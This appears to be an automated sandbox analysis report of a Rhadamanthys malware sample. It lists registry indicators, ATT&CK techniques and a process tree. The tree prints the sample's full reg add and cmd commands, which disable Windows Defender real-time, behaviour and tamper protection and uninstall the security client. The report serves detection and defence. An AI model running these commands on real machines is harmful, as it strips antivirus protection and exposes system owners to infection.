c942c117e04a6173f1ee6da437a4e42544a92e4052fa72ea52dbc1e17ee138a7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3920955164-3782810283-1225622749-1000\Control Panel\International\Geo\Nation	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 2396	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	96
PID 2588 wrote to memory of 2396	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	96
PID 2588 wrote to memory of 2396	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	96
PID 2588 wrote to memory of 4936	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	103
PID 2588 wrote to memory of 4936	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	103
PID 2588 wrote to memory of 4936	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	103
PID 2588 wrote to memory of 4836	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	105
PID 2588 wrote to memory of 4836	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	105
PID 2588 wrote to memory of 4836	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	105
PID 2588 wrote to memory of 2160	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	107
PID 2588 wrote to memory of 2160	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	107
PID 2588 wrote to memory of 2160	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	107
PID 2588 wrote to memory of 3464	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	109
PID 2588 wrote to memory of 3464	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	109
PID 2588 wrote to memory of 3464	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	109
PID 2588 wrote to memory of 1352	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	111
PID 2588 wrote to memory of 1352	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	111
PID 2588 wrote to memory of 1352	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	111
PID 2588 wrote to memory of 5996	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	113
PID 2588 wrote to memory of 5996	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	113
PID 2588 wrote to memory of 5996	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	113
PID 2588 wrote to memory of 1716	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	115
PID 2588 wrote to memory of 1716	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	115
PID 2588 wrote to memory of 1716	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	115
PID 2588 wrote to memory of 1720	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	117
PID 2588 wrote to memory of 1720	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	117
PID 2588 wrote to memory of 1720	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	117
PID 4936 wrote to memory of 3252	4936	cmd.exe	119
PID 4936 wrote to memory of 3252	4936	cmd.exe	119
PID 4936 wrote to memory of 3252	4936	cmd.exe	119
PID 4836 wrote to memory of 924	4836	cmd.exe	120
PID 4836 wrote to memory of 924	4836	cmd.exe	120
PID 4836 wrote to memory of 924	4836	cmd.exe	120
PID 2588 wrote to memory of 5428	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	121
PID 2588 wrote to memory of 5428	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	121
PID 2588 wrote to memory of 5428	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	121
PID 2588 wrote to memory of 4324	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	123
PID 2588 wrote to memory of 4324	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	123
PID 2588 wrote to memory of 4324	2588	2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe	123
PID 2160 wrote to memory of 1372	2160	cmd.exe	124
PID 2160 wrote to memory of 1372	2160	cmd.exe	124
PID 2160 wrote to memory of 1372	2160	cmd.exe	124
PID 3464 wrote to memory of 1608	3464	cmd.exe	126
PID 3464 wrote to memory of 1608	3464	cmd.exe	126
PID 3464 wrote to memory of 1608	3464	cmd.exe	126
PID 1352 wrote to memory of 3792	1352	cmd.exe	127
PID 1352 wrote to memory of 3792	1352	cmd.exe	127
PID 1352 wrote to memory of 3792	1352	cmd.exe	127
PID 5996 wrote to memory of 4220	5996	cmd.exe	128
PID 5996 wrote to memory of 4220	5996	cmd.exe	128
PID 5996 wrote to memory of 4220	5996	cmd.exe	128
PID 1720 wrote to memory of 460	1720	cmd.exe	129
PID 1720 wrote to memory of 460	1720	cmd.exe	129
PID 1720 wrote to memory of 460	1720	cmd.exe	129
PID 4324 wrote to memory of 3040	4324	cmd.exe	130
PID 4324 wrote to memory of 3040	4324	cmd.exe	130
PID 4324 wrote to memory of 3040	4324	cmd.exe	130
PID 5428 wrote to memory of 2960	5428	cmd.exe	131
PID 5428 wrote to memory of 2960	5428	cmd.exe	131
PID 5428 wrote to memory of 2960	5428	cmd.exe	131

C:\Users\Admin\AppData\Local\Temp\2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-04_b6b0e732249c57cd22902a1c90d402b0_rhadamanthys.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Program Files\Microsoft Security Client\Setup.exe" /x /s
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2396
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3252
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:1372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1608
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:3792
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - System Location Discovery: System Language Discovery
    PID:4220
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /P "P:\Cebtenz Svyrf\Zvpebfbsg Frphevgl Pyvrag\Frghc.rkr" /k /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:460
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpCloudBlockLevel" /t REG_DWORD /d "0" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpCloudBlockLevel" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
    3⤵
    - Modifies Windows Defender TamperProtection settings
    - System Location Discovery: System Language Discovery
    PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry